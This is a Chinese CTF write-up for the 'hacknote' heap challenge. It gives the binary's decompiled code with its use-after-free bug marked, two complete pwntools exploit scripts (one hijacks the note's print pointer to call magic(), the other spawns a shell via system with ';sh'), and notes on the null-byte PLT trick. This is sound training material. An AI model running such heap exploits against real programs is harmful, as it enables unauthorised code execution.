实验平台:
x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-167-generic
GLIBC 2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/UAF/hacknote
GDB插件换用了pwndbg,是在听课时讲师用的。感觉很好用。做堆题可以用bins和heap指令直接查看ptmalloc的相关情况。
ELF安全性信息:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
i386程序,未开启PIE。
IDA反编译后代码如下:
struct note
{
void (__cdecl *print)(note *);
char *content;
};
void __cdecl print_note_content(note *a1)
{
puts(a1->content);
}
unsigned int add_note()
{
note *v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = (note *)malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->print = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = notelist[i];
v0->content = (char *)malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content); // Dangling Pointer, Vulnerable
free(notelist[v1]); // Dangling Pointer, Vulnerable
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->print(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
int magic()
{
return system("cat flag");
}
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
这道堆题的套路比较正常,和我第14篇总结这道[1]基本上是差不多的。这篇文章仅做一个解题脚本的记录。中间的关键点仅仅稍微点拨一下。
执行magic的脚本:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386", os = "linux", log_level = "debug")
def note_add(p, size, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)
def note_delete(p, index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def note_print(p, index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
p = process('./hacknote')
elf = ELF('./hacknote')
gdb_command = """
b *0x80486ca
b *0x8048893
b *0x80488a9
b *0x804875c
"""
magic_addr = 0x08048986
# gdb.attach(p, gdb_command)
note_add(p, 100, "abcdefghijklmn")
note_add(p, 100, "abcdefghijklmn")
note_delete(p, 0)
note_delete(p, 1)
note_add(p, 8, p32(magic_addr))
note_print(p, 0)
p.interactive()
第39\~40行,在堆上分别开出两个8字节和100字节的chunk。
第41\~42行,把这四个chunk释放。4个Chunk都回到了ptmalloc的bins里。
第43行,再malloc两个8字节的chunk。可以重复获取之前的两个8字节chunk。这个时候就可以覆盖print对应的函数指针为magic。
getshell的脚本:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386", os = "linux", log_level = "debug")
def note_add(p, size, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)
def note_delete(p, index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def note_print(p, index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
p = process('./hacknote')
elf = ELF('./hacknote')
gdb_command = """
#b *0x80486ca
#b *0x8048893
#b *0x80488a9
#b *0x804875c
#b *0x804896C
"""
system_addr = elf.plt['system'] + 0x6
# gdb.attach(p, gdb_command)
note_add(p, 100, "/bin/sh\x00")
note_add(p, 100, "/bin/sh\x00")
note_delete(p, 0)
note_delete(p, 1)
note_add(p, 8, p32(system_addr) + ";sh\x00")
note_print(p, 0)
p.interactive()
执行shell的脚本,相对调用magic的脚本做的两处主要改动在于第38行和第46行。
在反编译的源码中,调用print函数语句在第96行,是notelist[v1]->print(notelist[v1]);
。
可以看出,传入system函数的参数就是存储system函数地址的地址。所以我们需要用到一个小trick:
在Linux系统中,使用分号可以依次执行前后的两条命令而不管前面的命令是否执行成功。例如aaa;sh
,即使没有aaa
命令也可以执行sh
命令。那么这里也利用了这一点。
我们此处的system_addr
是0x08048506
。相当于执行了system("\x06\x85\x04\x08;sh")
。前面的自然无法执行,但是后面的sh可以执行,那么就可以getshell。
为什么我们不直接利用system的PLT地址,那是因为PLT['system']
以0x00结尾,被解释成system的参数时会被当成字符串的终止符,相当于system("\x00\x85\x04\x08;sh")
。后面传进去的东西都没有用。所以取一个plt['system'] + 0x6
进行操作是等价的。
这个问题应该可以参考资料[2],有较为详细的说明。
感谢讲师精彩的讲解!
参考资料:
[1] https://renjikai.com/pwn-learning-summary-14/
[2] https://renjikai.com/pwn-learning-summary-13/